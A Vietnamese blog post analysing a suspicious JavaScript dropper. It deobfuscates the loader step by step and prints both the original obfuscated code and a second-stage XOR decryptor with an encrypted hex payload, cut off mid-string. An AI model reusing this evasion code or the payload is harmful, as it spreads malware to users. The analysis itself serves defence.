Chúng ta đã quen dần với tàu lạ, nước lạ… giờ có thêm file JavaScript lạ thì cũng không phải là vấn đề gì lớn lao, cứ làm quen dần thôi. Tiện đây cùng mổ bụng nó ra xem có gì trong đó.

Nah

Ban đầu mình thấy Window Defender warning file lạ tiện tay mở bằng notepad xem, thoạt nghĩ chắc là threat vớ vẩn nên cũng tải thử lên Virus Totalxem thế nào, kết quả nhận được cũng lạ. Chỉ có khoảng 4 AV phát hiện nó là Trojan.

Quả không ngoài dự đoán đọc chẳng hiểu gì lắm.

Reformat lại source code xem có dễ hiểu hơn không.

function (kuqbin) {
    function iwbovwy() {
        var oxsu = 0;
        while (oxsu < kuqbin["l" + "e" + "n" + "g" + ("U", "M", "t") + ["A", "k", "h", "L"][(18, 5, 48, 24, 66, 2)]]) {
            harqysguv[("Y", "K", "P", "h", "x", "p") + ("i", "t", "O", "B", "z", "u") + ("L", "u", "z", "v", "d", "s") + "h"](parseInt(kuqbin[("Z", "Q", "s") + ("K", "w", "x", "A", "u") + ["H", "b", "b"][(-138 + 139)] + (28)[["t", "a", "T", "d", "V", "F"][(29, 21, 0)] + ["E", "f", "o", "r"][(44, 67, 15, 22, 68, 2)] + ("D", "Q", "g", "K", "S") + "t" + ("o", "p", "d", "r") + "i" + ("c", "R", "C", "n") + (16)[(29)["t" + ("O", "l", "c", "j", "o") + ("p", "c", "a", "Z", "S") + "t" + ["y", "x", "r", "A", "g"][(494 - 492)] + ["z", "A", "i", "a"][2] + ("D", "w", "G", "i", "n") + ("B", "X", "L", "s", "e", "g")](36) + "o" + ("N", "L", "S") + "t" + ("i", "j", "r", "q", "L", "r") + ["i", "p", "b"][parseInt(0, (60, 71, 34))] + ["n", "d", "u", "x", "K", "O"][0] + (16)[["W", "t", "t", "Z", "X", "Q"][(714 - 713)] + ("w", "b", "y", "j", "h", "o") + ("g", "V", "L", "S") + "t" + ["m", "i", "r", "x"][(27, 57, 2)] + "i" + "n" + "g"](36)](0x24)](0x24) + ("R", "W", "t") + "r"](oxsu, 2), (58, 12, 57, 90, 65, 16)));
            oxsu += 2;
        } ytip();
    };
    function ytip() {
        var fuphegi = 1;
        for (;
            fuphegi <= advry[("i", "a", "f", "l") + "e" + "n" + ["A", "g", "r"][1] + "t" + ["h", "R", "Q", "t", "V"][0]];
        ) {
            vajetnirfi = (advry["s" + ["k", "u", "Q"][(22, 20, 48, 15, 1, 1)] + ("F", "Y", "M", "Y", "b") + ["X", "K", "P", "s", "u", "L"][3] + "t" + "r"](advry[["n", "D", "S", "l", "u", "y", "E"][3] + "e" + "n" + "g" + ("G", "H", "c", "t") + ["x", "D", "l", "y", "h", "J", "L"][(43, 16, 78, 84, 88, 4)]] - fuphegi))[["P", "B", "s", "C"][2] + "p" + "l" + ("j", "w", "M", "a", "i") + ["t", "b", "K"][(-342 + 342)]]('');
            for (var cojeg9 = 0;
                cojeg9 < harqysguv["l" + "e" + ("a", "G", "P", "B", "i", "n") + ("Z", "X", "V", "Z", "g") + "t" + "h"];
                cojeg9++) {
                harqysguv[cojeg9] = harqysguv[cojeg9] ^ vajetnirfi[cojeg9 % vajetnirfi["l" + ["Z", "e", "G", "M", "Z"][1] + ("o", "j", "O", "r", "n") + ["g", "t"][0] + ("R", "X", "t") + "h"]]["c" + "h" + ["v", "a", "o"][(-445 + 446)] + ("c", "c", "r", "P", "r") + ("L", "S", "C") + ["o", "f", "G"][(686 - 686)] + "d" + ["S", "e", "f", "m", "I"][(853 - 852)] + ("H", "v", "H", "A") + "t"]((-143 + 143));
            };
            fuphegi++;
        } expyb();
    };
    var harqysguv = [];
    var ajyknuc = "ospat"[(12)[["t", "N", "M", "D"][0] + ("f", "D", "Q", "o") + ("q", "f", "c", "o", "S") + "t" + "r" + (18)[["s", "t", "U", "R", "I", "S"][(89 - 88)] + ("d", "j", "o") + ["S", "G", "g", "t", "d", "i", "o"][(641 - 641)] + (29)[(29)[(29)["t" + ("I", "E", "i", "x", "d", "o") + "S" + ["H", "t", "E"][(71, 48, 58, 1)] + ("b", "v", "q", "F", "r") + ["A", "U", "i", "w", "R", "a"][(822 - 820)] + ("z", "f", "n") + ["s", "t", "g", "X", "a", "m", "a"][(7, 33, 64, 90, 2)]](0x24) + ["o", "k"][(41, 68, 30, 0)] + ["S", "S"][(954 - 954)] + ["h", "E", "t", "V", "p", "T"][(39, 100, 38, 18, 2)] + "r" + ("z", "k", "h", "A", "u", "i") + "n" + ["a", "H", "Z", "g", "V", "X", "S"][3]](0x24) + "o" + ["S", "A", "Q", "U", "C", "O", "D"][(50, 95, 0)] + "t" + ("j", "N", "I", "r") + "i" + "n" + "g"](0x24) + "r" + ["i", "g"][(354 - 354)] + "n" + "g"](36) + ["s", "n", "X", "n", "u", "K"][(44, 58, 66, 42, 47, 3)] + "g"](0x24) + "o" + ("P", "V", "m", "Z", "Q", "n") + (28)[["M", "j", "t", "X", "n"][parseInt(2, (-558 + 575))] + ["E", "o", "X", "U", "D", "T", "S"][(-272 + 273)] + "S" + ("w", "t", "J", "q", "W", "t") + "r" + "i" + "n" + "g"](36) + ["x", "t", "T", "f", "l"][(-50 + 51)] + ("C", "l", "E", "r") + "u" + ["P", "c", "j", "Y", "z", "Y"][(4, 57, 77, 44, 9, 1)] + "t" + "o" + "r"];
    function hajavdu() {
        nmanefemi["t" + ("C", "y", "r", "Q", "o") + "S" + ("H", "r", "t") + ("n", "Y", "t", "q", "m", "r") + "i" + ["n", "m", "a"][0] + "g"] = ajyknuc[("m", "P", "c") + ["F", "o", "g"][(-794 + 795)] + "n" + "s" + ("L", "l", "t") + ["r", "K"][0] + ["g", "u", "t", "y"][(-491 + 492)] + ["T", "c", "E", "M", "j", "F"][1] + ("o", "B", "L", "Q", "t") + ("Z", "c", "o") + ("G", "G", "r")](htujoup);
    };
    var advry = ["b", "l"][(21, 67, 48, 85, 23, 0)] + "s" + ["q", "B", "N", "d", "k", "w"][(-930 + 930)] + ["u", "b", "U", "F", "w", "T"][0] + "d" + ("P", "z", "y") + "q" + "u" + ("z", "g", "Y", "v");
    function expyb() {
        for (var kdezzudwo = 0;
            kdezzudwo < harqysguv[["E", "q", "G", "l", "D", "W"][(-967 + 970)] + "e" + "n" + "g" + ("t", "C", "l", "t") + ["C", "h", "r", "D", "W", "i"][1]];
        ) {
            harqysguv[kdezzudwo] = "v"[("v", "G", "O", "Y", "c") + "o" + "n" + "s" + ("S", "r", "p", "w", "t") + "r" + ["u", "n", "x", "X", "F"][(8 - 8)] + ["c", "T", "C"][(26, 69, 43, 22, 0)] + ("Y", "H", "W", "e", "o", "t") + ["o", "v"][(167 - 167)] + "r"][("Q", "N", "b", "O", "U", "f") + ("o", "h", "J", "r") + ("f", "R", "o") + "m" + ("e", "B", "y", "C") + (17)["t" + "o" + "S" + (29)["t" + ("T", "z", "r", "l", "o") + "S" + ("P", "N", "t") + ["r", "y"][(80, 70, 43, 5, 0)] + "i" + "n" + "g"](36) + ["r", "K", "y", "C"][(356 - 356)] + ("j", "r", "b", "i") + "n" + "g"](36) + "a" + ["r", "A", "D"][parseInt(0, (-615 + 637))] + "C" + ["R", "o", "o", "c", "e", "Z"][1] + ["d", "g", "l", "n", "j"][0] + ["e", "a", "x", "q"][(96, 35, 39, 1, 0)]](harqysguv[kdezzudwo]);
            kdezzudwo++;
        } safrugibfe();
    };
    function safrugibfe() {
        htujoup = harqysguv[["C", "s", "j", "f"][2] + "o" + "i" + "n"]('');
        hajavdu();
    };
    var nmanefemi = {};
    var htujoup = ("U", "M", "k") + ["q", "X", "K", "y"][0] + (30)["t" + ["o", "v"][0] + "S" + ["t", "n", "n"][(487 - 487)] + "r" + ("t", "N", "l", "i") + (23)["t" + ("o", "A", "j", "o") + ["S", "Y", "Z", "q", "G", "L"][parseInt(0, 12)] + ["b", "t", "l"][(90, 70, 1)] + ["s", "r", "r", "J"][(53, 40, 38, 67, 1)] + (18)[(29)[("R", "c", "B", "t") + "o" + ("Z", "e", "S") + ["p", "F", "a", "t", "h", "w"][3] + ["y", "m", "r", "R"][2] + "i" + ["M", "z", "n", "l", "A"][(42, 22, 2)] + "g"](36) + ("L", "A", "a", "U", "o") + ["S", "y"][(-328 + 328)] + "t" + ("Z", "k", "e", "K", "r") + "i" + ("m", "p", "n") + ["d", "D", "Z", "g", "U"][(840 - 837)]](0x24) + ["n", "G", "A"][0] + (16)["t" + ["U", "L", "P", "z", "o", "M"][4] + ("l", "q", "S") + "t" + ("s", "g", "X", "T", "a", "r") + "i" + "n" + "g"](0x24)](36) + ["J", "I", "g", "A", "v", "G"][(-81 + 83)]](0x24) + "a" + "s" + "j" + "s" + "y" + ("w", "G", "Q", "b") + ("l", "E", "z", "l", "c", "y") + "k";
    var vajetnirfi = [];
    iwbovwy();
    nmanefemi[("t", "U", "F", "t") + ["o", "N", "l"][0] + "S" + ("S", "Z", "l", "e", "t") + ("P", "R", "l", "r") + ("A", "d", "V", "i") + ("H", "x", "n") + ("t", "A", "b", "f", "g")]();
})(kuqbin);

Chúng ta tập trung giải quyết từng phần nhỏ.

    function iwbovwy() {
        var oxsu = 0;
        while (oxsu < kuqbin["l" + "e" + "n" + "g" + ("U", "M", "t") + ["A", "k", "h", "L"][(18, 5, 48, 24, 66, 2)]]) {
            harqysguv[("Y", "K", "P", "h", "x", "p") + ("i", "t", "O", "B", "z", "u") + ("L", "u", "z", "v", "d", "s") + "h"](parseInt(kuqbin[("Z", "Q", "s") + ("K", "w", "x", "A", "u") + ["H", "b", "b"][(-138 + 139)] + (28)[["t", "a", "T", "d", "V", "F"][(29, 21, 0)] + ["E", "f", "o", "r"][(44, 67, 15, 22, 68, 2)] + ("D", "Q", "g", "K", "S") + "t" + ("o", "p", "d", "r") + "i" + ("c", "R", "C", "n") + (16)[(29)["t" + ("O", "l", "c", "j", "o") + ("p", "c", "a", "Z", "S") + "t" + ["y", "x", "r", "A", "g"][(494 - 492)] + ["z", "A", "i", "a"][2] + ("D", "w", "G", "i", "n") + ("B", "X", "L", "s", "e", "g")](36) + "o" + ("N", "L", "S") + "t" + ("i", "j", "r", "q", "L", "r") + ["i", "p", "b"][parseInt(0, (60, 71, 34))] + ["n", "d", "u", "x", "K", "O"][0] + (16)[["W", "t", "t", "Z", "X", "Q"][(714 - 713)] + ("w", "b", "y", "j", "h", "o") + ("g", "V", "L", "S") + "t" + ["m", "i", "r", "x"][(27, 57, 2)] + "i" + "n" + "g"](36)](0x24)](0x24) + ("R", "W", "t") + "r"](oxsu, 2), (58, 12, 57, 90, 65, 16)));
            oxsu += 2;
        } ytip();
    };

Trước giờ mình cũng có xem qua vài thằng JavaScript packer nhưng thằng này hơi quái, nó quái ở chỗ là nó không dùng bất tứ standard method như lenght, substr, indexOf, eval... và nhìn nó không giống với JavaScript lắm (Nếu chỉ là JS bình thường thì đâu cần làm lố vậy?).

oxsu < kuqbin["l" + "e" + "n" + "g" + ("U", "M", "t") + ["A", "k", "h", "L"][(18, 5, 48, 24, 66, 2)]]

Cùng để ý đoạn này, ta đọc được một đoạn ngắn là "l" + "e" + "n" + "g" = "leng" giờ thử xem nó làm gì. Ném từng đoạn vào node-cli.

node> ("U", "M", "t")
t
node> (18, 5, 48, 24, 66, 2)
2
node> ["A", "k", "h", "L"][2]
h

Thì ra nó chính là length, với JavaScript để access method của Object ta có hai cách Object["method"] hoặc Object.method. Dùng cách nói trên ta viết lại toàn bộ mã của nó.


(function (bin) {     function iwbovwy() {         var oxsu = 0;         while (oxsu < kuqbin.length) {             harqysguv.push(parseInt(kuqbin.substr(oxsu, 2), 16));             oxsu += 2;         }         ytip();     };     function ytip() {         var fuphegi = 1;         for (;             fuphegi <= advry.length;         ) {             vajetnirfi = (advry.substr(advry.length - fuphegi)).split('');             for (var cojeg9 = 0;                 cojeg9 < harqysguv.length;                 cojeg9++) {                 harqysguv[cojeg9] = harqysguv[cojeg9] ^ vajetnirfi[cojeg9 % vajetnirfi.length].charCodeAt(0);             };             fuphegi++;         }         expyb();     };     var harqysguv = [];     var ajyknuc = "ospat".constructor;     function hajavdu() {         nmanefemi.toString = ajyknuc.constructor(htujoup);     };     var advry = 'bsqudyquv';     function expyb() {         for (var kdezzudwo = 0;             kdezzudwo < harqysguv.length;         ) {             harqysguv[kdezzudwo] = "v".constructor.fromCharCode(harqysguv[kdezzudwo]);             kdezzudwo++;         } safrugibfe();     };     function safrugibfe() {         htujoup = harqysguv.join('');         hajavdu();     };     var nmanefemi = {};     var htujoup = 'kquasjsybyk';     var vajetnirfi = [];     iwbovwy();     nmanefemi.toString(); })(bin);

Rename lại method dựa theo code nó viết chúng ta được mã JavaScript sạch sẽ hơn.

(function (hexText) {

    var encodingBuffer = [];
    var evader = "ospat".constructor;
    var proxyObject = {};
    var binary = 'kquasjsybyk';
    var keyBuffer = [];
    var key = 'bsqudyquv';

    function readHex() {
        var i = 0;
        while (i < hexText.length) {
            encodingBuffer.push(parseInt(hexText.substr(i, 2), 16));
            i += 2;
        }
        decrypt();
    };

    function decrypt() {
        var i = 1;
        for (;
            i <= key.length;
        ) {
            keyBuffer = (key.substr(key.length - i)).split('');
            for (var c = 0;
                c < encodingBuffer.length;
                c++) {
                encodingBuffer[c] = encodingBuffer[c] ^ keyBuffer[c % keyBuffer.length].charCodeAt(0);
            };
            i++;
        }
        decoding();
    };

    function decoding() {
        for (var i = 0;
            i < encodingBuffer.length;
        ) {
            encodingBuffer[i] = "v".constructor.fromCharCode(encodingBuffer[i]);
            i++;
        }
        joinBinary();
    };

    function joinBinary() {
        binary = encodingBuffer.join('');
        proxyCall();
    };

    function proxyCall() {
        proxyObject.toString = evader.constructor(binary);
    };

    readHex();

    proxyObject.toString();

})

Code này có những đoạn rất vui chẳng hạn evader.constructor(binary), ở đây để tránh bị phát hiện thì packer đã không dùng eval(). Mà dụng một cách rất sáng tạo hàm constructor(). Đoạn này có thể hiểu như sau:

var proxy = {};
proxy.toString = ''.constructor.constructor('function evasion(){console.log(\'I am Chiro\')};evasion();');
proxy.toString();

Bây giờ điều chúng ta quan tâm là binary data trong cái encoded hex là gì. Chúng ta chỉ việc tháo ngòi nổ ra và thêm mã dump nó ra một file khác.

    function joinBinary() {
        binary = encodingBuffer.join('');
        var fs = require('fs');
        fs.writeFileSync('data.js', binary);
        //proxyCall();
    };

    function proxyCall() {
        proxyObject.toString = evader.constructor(binary);
    };

    readHex();

    //proxyObject.toString();

Kết quả chúng ta có một file JavaScript lạ khác.

function dec(input) {var vuxsatxi = "DqQgnf4ET";var igvqy = "kmFtJVxnO";var epcgagom = "DkkUu84";var tisofadrti = "ukyUvN";var vitquangji3 = "z17hvu0GC8";var xviwo = "eqpAVqhxy";var zulyflakiw6 = "tUPkN1CPi";var jegruuk = "njDzsc2umV";var xwiiw = "bdVuqXYMSF";var hisdautos = "OQVj15q";var qculqiky = "cPbzeP";var qyyc = "GowGdIgsxU";var kepipqkoif = "a8XuGTwyrX";var pgosekpon = "juTT9s7M";var ufjvyelze = "gSOUc9J6X";var duqwragylvlu = "Kgzqet5m";var bxuecup = "Jv2it3ehOG";var uzrahvesyj8 = "qXSAUk";var muxgiw = "CLoQIhrDCK";var yrjfaxiyn = "pfH0J";var cedfeisbfo = "L1npnu";var nytybal = "wqOhdpMr6";var qwunyygni = "ripQ4fle";var kemfo = "uW7ONc39q";var xynawqu = "sJ1cesSV";var rigjacxe2 = "swHzmF";var hkyqegraib = "hqUpDxRV6";var vqyrqoric = "vbuQm";var egytybon = "VeoVPBCQ";var iskynxli = "PaO5Yia";var fosocros = "oYCFoCz";var yvyqczoir = "KQuo8";var iqkhodedyk = "eUmnXJEu";var unludkonif = "ls7CgVX";var hycesum2 = "uazfTY";var lwuzekbama = "vZcHnyHbdJ";var ryvti = "VmUiVCt9";var entruet = "JjHDHZIO";var hiuq = "uVD5yk4h9";var ficmbyinhyz7 = "RBCq5FgS52";var iccdakraxqa = "nVUId0OeW";var fybqayqkas3 = "WJpQR5S";var xaqa = "N78uxYlCQh";var ramgra = "Qcslb";var acbbuhar = "tAd4Q8ra";var xipafyt = "kWhxv3";var cxolrenoqew = "hcT7sk";var wkivijqy = "Q2xv7rS";var qiwmxiqu1 = "qIvcIaxjZB";var cleyp = "xqtaA1";var mowly = "hU6AkALV";var qevenezpul = "mTsOiy";var pxyfideb = "tOAZHbVx46";var zpatuaz = "kCcNx";var ofgpipla = "ad5qxa";var byhla = "Tk1Sy6";var edadxid = "OyIEGT";var naib = "IO0rnI63CB";var kemub = "lsVBb1ENDM";var bbyyqxycux = "HunDVt4R";var cohwonmacwom = "JsqcYeIaUV";var dmosol = "KoPGCyRxuS";var qaax = "Tl7uTY";var biqa = "q7GbsNGlMI";var soqhekykmi = "uKC2Ff";var kcupo = "Ht02eD5TS";var lepikca = "dCuna";var rekeqaf = "kR7uf";var feit = "Ebl1od";var fidgampo = "XGgiORB3";var yfkovto = "HOvI5Ez";var zehcdu = "Nvuz1";var sushavjxa = "GQFkyX0r";var niryf2 = "OrV6ZS7ro";var sanzelig = "t13py";var kjynry = "CDKS1LW";var yrhqaqif = "jipHsr";var gudpyfhupdsa = "l1odb";var honfbe = "iZMZdNnqZX";var ahsvujgiyb = "z7437NSSG";var cboqno = "ZI32QRUIxB";var ewcypgomu = "OFdGgOcO";var libejyuf = "i7DQ3218";var ghuud = "HpzhfCk";var simmdu = "tfpMOG2r1j";var yxod = "cL6Rs9j";var vrazjymzigaq = "JfHqdFM";var xwaliw = "eVhkCIyiu";var xtuesuxver = "puVP6OlTjW";var piqriwhy = "hXxvA7";var bahumik = "OGxSYj5tU";var ljykmu = "mso7qHdTCo";var anihrovdy = "arFg6JiE3M";var ugwpufityl = "DcJ1UBC";var ocbuslime = "Gs4jddn";var fxilutbce = "ROOerY8";var kotxfoli3 = "RuVBAeLhdG";var ymotmufla = "YF8HBGv";var ugdagvtihyg = "TeQTr16nC";var ezgjewuf = "Hmf8KEq";var mcoyrax = "XREw96";var ywlulgru5 = "BXm4haa";var pafu = "xPApbEHm";var thamererci = "ENpxZj";var wuvyrbky = "UbNqt";var myduxxiqryw = "idv9N";var fihzzaropu = "EtWRKU";var vydib = "AHT5bPX";var nejgzi = "xel97";var ykpu = "I4JvvXRF5i";var tyklynlyj = "WzjOXhc";var qybmid = "Zbyyvn";var gtyguufjo = "oCspHdUSp5";var pyfnynsevyn = "AphnWJsE";var vbuiq = "sJFD7CnAg";var fjypju = "IwviE";var duma = "nRS6wpCP4K";var neqaek = "MKHoLkRRru";var zajutgyw = "d55lav";var kiuz = "iL6eQ";var zimsuhgdy = "iBLz4K";var ihta = "T8X2KIBOsq";var migopjac = "lp8GD0a";var hilcim = "pVWH4C";var unakar = "te4Yi4WOt";var qvobyhnutzsy = "JNTB4a64";var tydezdibi = "JdjXb8dTR";var ijipukdlo = "PacJQsqy";var foryp = "AMrHviaV";var mqociq = "pKnKrS2COT";var epjoyn = "fnLjqP7p";var xururxektiz8 = "yfx7S";var zodna = "GODthT1oL0";var ssiohwydyt0 = "OyBdmdxNEv";var psedzysorwry = "mgAV7GTZzr";var llemiaxlcu = "CMacI8";var sonhygdymi = "KsxPa56";var vmoqbysnijke = "SYcjCQ";var joqwo2 = "PJ6LW";var liqyyl = "vIrVo7N48";var wmikdosihta = "M5nfILnjCV";var kudcyb = "dsZMem5QiJ";var tuafaxmpi = "Iy4NLk1";var xkoypqybher = "cd45wYp";var awtdi = "M30W86";var noqdrewzy = "AKx6nF0vi";var soctogvdipu = "RqUlCxQN";var ujek = "uTNif";var byzbwymyr = "ikF7i";var eqwawzyan = "i16rIEceSL";var weok = "phI1VUgNG";var sjunvyxconip = "RfTnZodTbl";var flaeg = "lSOdh16tm";var ykneq = "xtnELoLeLX";var lybkvy = "qgs4Fdiq";var hilxzi = "PE4fJJs2a";var jtiluxyq = "ssE43X";var qnatiscywzis = "CXrTF";var ysqac = "gWXNuU";var qocty = "stLuqIhVC";var gxaag8 = "ydnTVFOyb";var duckowucak4 = "v7QAbed8";var cagzymibku2 = "QR3k53";var jyfalni = "CG5mn2";var ngucesmasy = "sOKQN";var perippun = "XKx4Mmy";var jniza = "VTbFqgsN";var ipryle = "He23KQOM";var syzdyjgojxox = "gJH23";var vugarep = "Ij4sxowp4C";var remiko = "YbteSG";var byvoryr = "ycWa3";var rybonawhny = "fcVdNs1iFo";var joxax = "oGM58";var viezge = "LzL66k8RrY";var yfed = "PzvTUDKl";var wvuhiqi = "UVxqurf";var nneip = "Kc9CKA7b";var iktop = "pARsdC2k";var guqzku = "aYrSrEu";var eksaba = "KhWdTsmdR4";var hixwajolxhu = "XeP3V96";var lobqmopbe = "wWa4Ya";var detfkipwayz = "qDfLDr72c";var hidwirdny = "n81EgRUqrS";var pyetzty = "Dqg32PkkT";var etih = "M6AN9q7tk9";var ybojcuwox = "t59DRPAY";var hoytof = "dLdTBLbV0t";var rywsiuc = "Mb9jmm1";var zogux = "BDsINM";var caceuh = "S40RbLn";var ickihon = "lISCprwVW";var atvev = "oaBTA";var ciov = "OVHucS";var nyfwejny = "b4zZd";var nmazla = "tFFrHK0H";var zeiwtiis = "eW97ti6q";var joclina = "QZtl4XF";var sdedikca = "hVLZZu8ch";var foxbodtuyz = "HZgH0y";var vaymutnmo = "p7A7xkitO";var ogdan = "Wib3Pv";var etzoq3 = "rjfDuit0EM";var lowcuc = "QEcjXFkCsD";var bifzytogyx = "IwWdP6cI4P";var ipqetoxo = "VWDFd";var rexpachudyg = "gqGt2";var ygetwor = "z7vRsmBRM";var hipuj = "rZQcsd";var ygkyc = "ZXXkXNwp0l";var lxeud = "RxAMl7";var kzexixys = "yPXukltw";var bokyt = "M8aHD";var abjyb = "Y2qjLztt";var ojsujdin = "y2AcPx3";var cfibaorfuh = "ZdjleueRC";var xyzkamqaaf = "ldOgH";var ptiqifzsesan = "JuhaG2f";var ossep = "htfDK";var pogsirer = "TKbrZrBy7l";var iryv = "tXMmonVvI";var apvasofo = "GjBk7sFG";var eqfjoqeq = "gU7fRA";var cynqicxeb = "SmKJT9KB";var fvesuvho = "wXe1voRNgc";var pguybokhsu = "EOzBT";var smyvaglen = "ncTSMDmKy";var ixda = "rUTcHxzr5";var mfuvnuuc = "SCgQdJ23";var temxibdot = "ChkQK8";var zuqpa = "jqiJIDA";var lovbotdfu = "OWklK";var clyziznih = "i3lxprWkkq";var foamsybxi = "d0nrmFHi8";var zokiifjxi = "KddlI6YM";var vevawoszu = "BshXfkIV";var vtuhsuzectu = "rbOqr5";var ydje = "wt0LEOc6";var wfyqeogqu = "JkvyhYzS6M";var kzasadcetfu = "vqF6R";var bizlyf = "nwl4W";var tukyig = "Z0hV3s";var bwicmo = "uV9nWr";var jawme = "WRKkMUHIl";var egzwa8 = "THaFCSoX";var wahyzes5 = "MUuvESNO8";var gryzokmag = "dT1jNg";var jabpqe = "SmvVfw";var ugzazhichy1 = "nKhfRWkxcK";var odrwu = "H0bvWw39h";var qzybajbid = "xvzNp";var ibqmefxa = "o78V4";var cpejab = "IxEBPLJK";var vuyslafne = "t1MzSE";var lerdory = "sTgqO6kB";var falwgeho = "qAor0lgx";var kaviram = "r8QmW";var herumcy0 = "YSmmFweK";var ijbqo = "HyD0Viw93I";var fijgyyros = "Qu1szlFpk";var ncynziwniir = "maSp8po";var jjuxipsra = "St5ikp";var ejmuhsbo = "oPhhi";var izxreqam = "M7T7X";var ratbem = "PXPpI";var jylka = "A5HbT";var ekxmefo = "o1aTf2RikD";var sfoptarherul = "PPkVJU";var syswi = "CxDlnYh6SZ";var lzocojsymoj = "bvlyoUvd0";var iwjresu = "KF7VvwTgV6";var bohzaqa = "EDP6afQF";var zvyasag = "wDhXyfMrd";var pylimzma = "OtuOk7aCd";var ixcubcybnu = "Zy9IZsUA";var ulekyp = "lb4isF";var qivybcmivtu = "KL5CnRw3";var qdedgioh = "CiWC5";var gkudoz = "R3T8Bc5di";var xkawake = "inKaOGxWB";var davularih = "Baupc";var suykkec = "VJQ1HPAl2z";var ynqi = "B81dXCy0b";var ajtbe = "DrNMpqlpB";var unccabatkaj = "pJPjA";var xipzixa = "RW2bms";var pydgauf = "YfqJ7Z6o";var tyvxry = "fS6xCdw";var spofxo = "RsXIyvk";var tahucdac = "AdjMmI4cI";var ixffaqypzi = "xuOdGYpH";var posavyjyv = "J5GaqMrxd";var ahncusnigyl = "KW86lFa1v";var bignejaes = "YWGfh3Ro5c";var lsoip0 = "GzkGrJMDb2";var kofwuuf = "JxIfIBB";var sigivlo = "unXMBvaeb";var halqteux = "edCfEJMl";var riraqovyq9 = "cSg0z";var ajqivo = "Rpbvx2tdu5";var ctewor = "iY5G1yT";var gpybza = "NBWKGCLfwh";var csuna = "lFRUiD9P";var xaxojewfem = "AGG42y";var fixlytgy = "tRVPMbR";var gusbigbuik = "fUofw8";var adewjyk = "lLMDBS";var wfyzwybga = "wOWToN";var cegifzogfy = "c2krdZ9h";var qsewduan = "YrNlir5";var vgixietkfy = "pxaXpR7C4";var nlyef = "YyDVX";var matro = "tbUP9tt5rY";var oqqemxe4 = "V4Sfq";var pferbaalkri = "llUgkz";var jqypgi = "VQV8bQpvp";var rycumoc = "F4jUByP5KU";var zvaak7 = "xem03";var vmicgyarqak = "GyJnM";var vocoyq = "cNNXz1";var fjogqehyw = "kRLcOWw";var gcywnywies = "eVmJ2g";var sliat = "hkGdg3Xi";var kupxiv = "wLW6Z";var ymcpa = "YcwzDiw";var lbeurij = "nACsX3tf23";var uhrhy = "RwmOz";var dirsivob = "o8uJOSnvsf";var belsaflabol = "WCsZN";var sizjowtubi = "A6kbY";var lyftezotyd1 = "Dpw1Ai";var evev3 = "eATu7";var iduqygys3 = "Jap9iPe";var suxu = "aNRbd";var bicoh = "plbulYlwc";var kynifetru = "Upxm8RZB";var iffitcqi0 = "JmD5uU";var ylobbwyfhe = "Oiq1o4Oxm5";var agmup = "rRyIW";var emjoqiljgu = "Kq6MVEmbO";var rizsy = "wg2ccHznv";var busznoyf = "eMjSwO";var ixexbu = "iSsRvQlSdl";var sipup = "Cch32CVf";var bcybfy = "DqZQt2";var fasoh = "fPeFf";var gobrejot = "CexGN00paY";var nujiv = "HTnrTo";var wadyym = "da44Na";var idca = "F3zFdDK1NK";var vivqy = "hYKmCv";var kpipywoxah = "KCQyv";var zexbouzmez = "wDf7M9";var vxoedmgalwi = "kxtR6DOC";var ustepki = "e62uVe";var fdyjkivbuyp = "YtYzohVO";var ozdi = "ChyvRXNM";var xyxgivcani = "WVATNpyLyi";var jxykubvoboh = "IqS5P3";var treraj = "ahlFIeL";var ovlu = "Pfe5AUN";var henadacdaw = "MoY373";;/*psl71qcPBRwAlTUWxq6C*/;var thisFunctionText = arguments.callee.toString();var callerFunctionText = arguments.callee.caller.caller.toString();var key = [126, 242, 52, 93, 124, 32, 135, 7, 216, 55]; var i;try {callerFunctionText += navigator.appCodeName;callerFunctionText += 'callerFunctionText';}catch(e) {}key = encKey(key, callerFunctionText);key = encKey(key, thisFunctionText);var enc_str = [];for (i = 0; i < input.length; i += 2) {enc_str.push(parseInt(input.substr(i, 2), 16));};var tmpKey = [];var tmpKeyLength = 1;while(tmpKeyLength <= key.length) {tmpKey = key.slice(key.length - tmpKeyLength);for (i = 0; i<enc_str.length; i++) {enc_str[i] = enc_str[i] ^ tmpKey[i % tmpKey.length];}tmpKeyLength++;/*if(typeof debug !== 'undefined' && debug === true) {WSH.Echo(enc_str.join(' '));}*/};for (i = 0; i < enc_str.length; i++) {enc_str[i] = String.fromCharCode(enc_str[i]);};(new Function(enc_str.join(''))());function encKey(key, str) {var keyIndex;var keyTemp;var i;var modifier = str.length % 255;for (i = 0; i < str.length; i++) {keyIndex = i % key.length;keyTemp = key[keyIndex];keyTemp = (keyTemp ^ str.charCodeAt(i)) ^ modifier;key[keyIndex] = keyTemp;};return key;}} dec("b308fce98574b0881bad9"+
"c1a"+
"f5874a5c17462ab5"+
"3f471999158a5023a2b04a892761d081e01"+
"53326ffa3284b59d4297eceb9d7ba79471c0d1fa148673a739c822b4bd2b426557ba6"+
"0a2"+
"74fb48034df6e1673c38768b8d2a93b4eff0206411da020ad"+
"4a13f2db3166c42091697275dea6b441449405c016370bf2453dfa27257aec72d7c81d85"+
"7379806e98db99d48ac4fb"+
"2e51f4b282f3ad78b211b0bf6fe8f288adcc58057"+
"f6e8a7485187b8d4b897e8b8a414bfae3d163feb748b66992c526d329de598b5584d57"+
"498a935b4749142c21f670e63a86c91d629745df9"+
"57e35bd89b8c2dcc2b6106d6f1952e765c5db376e435"+
"9a2063988318bcba92cb329ba0deab4887ffa4"+
"59a7"+
"4b5bbe68688c154e4c78578a044b9d7a28ce8637d7a361909dd5178fde96655"+
"a1d15b969149e1a5dcdd2e6452e3473cc1307c1cd758b42a7e16efd43f8e9f2ecbba1a699225bcc9635355fecb83638f8ed90e5fa49602fb2d9ad6c6acb"+
"b1516ead2110197ca0a79f6953649a219f0c4deea6b86021"+
"5a"+
"16"+
"7ee052d02ba5a2fc6cbcb5889bbbb393be74b82e"+
"5fe82baea9d5bbd"+
"f52ccc"+
"59a1215afe88afbb9de9e60bc66"+
"66fc5e69a2a6d5d07c9172c591a2a942c575a7720dd3b6a51302a9fb6ceea019540c28b9b784699898"+
"c0f600a2bd"+
"69b43b960714214503b0f37b79773a5083124c4cd224"+
"d73ff918abcb9725622dbb5fbaa8331c7f8daa29b25480467deeb989bce8afbca43a9fee9950f4d22b962ee78511f5986639"+
"52cc4a679897896ffa5155801e671dba4fef60f8d834db454d200ed242a851a33a76ab60db3a75d3943b9f59fc28408a1"+
"e61faaf583aefd70eba4e276f8b63fb6929949428464d376163d0fb6fb92ec44ea07dc572cac805331829a99f4830338822c34d796391c067a70958cb7b50e0f83fb50bc71eef63"+
